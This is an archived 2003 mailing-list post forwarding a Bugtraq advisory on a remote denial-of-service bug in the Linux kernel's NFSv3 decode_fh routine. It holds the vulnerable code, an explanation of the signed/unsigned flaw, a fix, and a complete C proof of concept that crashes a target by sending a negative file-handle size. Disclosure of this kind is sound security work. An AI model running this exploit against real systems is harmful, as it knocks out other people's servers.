VL: Remote Linux Kernel < 2.4.21 DoS in XDR routine.

From: Markus Kovero (muikkuat_private)
Date: Tue Jul 29 2003 - 13:40:13 PDT

  • Next message: Karma: "Re: Analyze binary for holes"

    Why the fsck this was keeped in silence?
    Damn the leenox devteam :P
    
    -----Orginal-----
    From: Jared Stanbrough [mailto:jaredsat_private]
    To: bugtraqat_private
    Subject: Remote Linux Kernel < 2.4.21 DoS in XDR routine.
    
    
    
    Hello all,
    
    I have discovered a signed/unsigned issue in a routine responsible for
    demarshalling XDR data for NFSv3 procedure calls. As far as I can tell,
    this bug has existed since NFSv3 support was integrated. It has been
    silently fixed in 2.4.21.
    
    The bug is in the decode_fh routine of fs/nfsd/nfs3xdr.c under the kernel
    source tree.
    
    Vulnerable code:
    
    static inline u32 *
    decode_fh(u32 *p, struct svc_fh *fhp)
    {
            int size;
            fh_init(fhp, NFS3_FHSIZE);
            size = ntohl(*p++);
            if (size > NFS3_FHSIZE)
                    return NULL;
    
            memcpy(&fhp->fh_handle.fh_base, p, size);
            fhp->fh_handle.fh_size = size;
            return p + XDR_QUADLEN(size);
    }
    
    Where p is a packet of attacker controlled XDR data. If size is made to be
    negative, the sanity check is passed and the malicious value is passed to
    memcpy. Due to the behavior of the kernel's memcpy, this will cause a very
    large copy in kernel space, resulting in an instant kernel panic.
    
    The attached code is a POC of this vulnerability. It requires that the
    vulnerable host has an exported directory available to the attacker. This
    is probably not the only way to manifest this bug, however.
    
    If you have any questions, please feel free to contact me.
    
    Cheers,
    
    Jared Stanbrough <jaredsat_private>
    
    
    /*
      Linux 2.4.x knfsd kernel signed/unsigned decode_fh DoS
      Author: jared stanbrough <jaredsat_private> 
      Date: 07/19/2003
      
      Vulnerable code: (fs/nfsd/nfs3xdr.c line 52-64)
    
      static inline u32 *
      decode_fh(u32 *p, struct svc_fh *fhp)
      {
            int size;
            fh_init(fhp, NFS3_FHSIZE);
            size = ntohl(*p++);
            if (size > NFS3_FHSIZE)
                    return NULL;   
    
            memcpy(&fhp->fh_handle.fh_base, p, size);
            fhp->fh_handle.fh_size = size;
            return p + XDR_QUADLEN(size);
      }
    
      This code is called by quite a few XDR decoding routines. The below
      POC demonstrates the vulnerability by encoding a malicious fhsize
      at the beginning of a diroparg xdr argument. 
     
      To test this, the vulnerable host must have an accessible exported
      directory which was previously mounted by the attacker. _HOWEVER_ 
      it may be possible to trigger this bug by some other method.
    
      Fix: Simply change size to an unsigned int, or check for size < 0.
    */
    
    #include <rpcsvc/nfs_prot.h>
    #include <rpc/rpc.h>
    #include <rpc/xdr.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    
    #define NFSPROG 100003
    #define NFSVERS 3
    #define NFSPROC_GETATTR 1
    
    static struct diropargs heh;
    
    bool_t xdr_heh(XDR *xdrs, diropargs *heh) 
    {
      int32_t werd = -1; 
      return xdr_int32_t(xdrs, &werd);
    }
    
    int main(void)
    {
      CLIENT * client;
      struct timeval tv;
    
      client = clnt_create("marduk", NFSPROG, NFSVERS, "udp");
      
      if(client == NULL) {
          perror("clnt_create\n");
      }
    
      tv.tv_sec = 3;
      tv.tv_usec = 0;
      client->cl_auth = authunix_create_default();
    
      clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh,
                (xdrproc_t) xdr_void, NULL, tv);
    
      return 0;
    }
      
     
    



    This archive was generated by hypermail 2b30 : Wed Jul 30 2003 - 12:42:46 PDT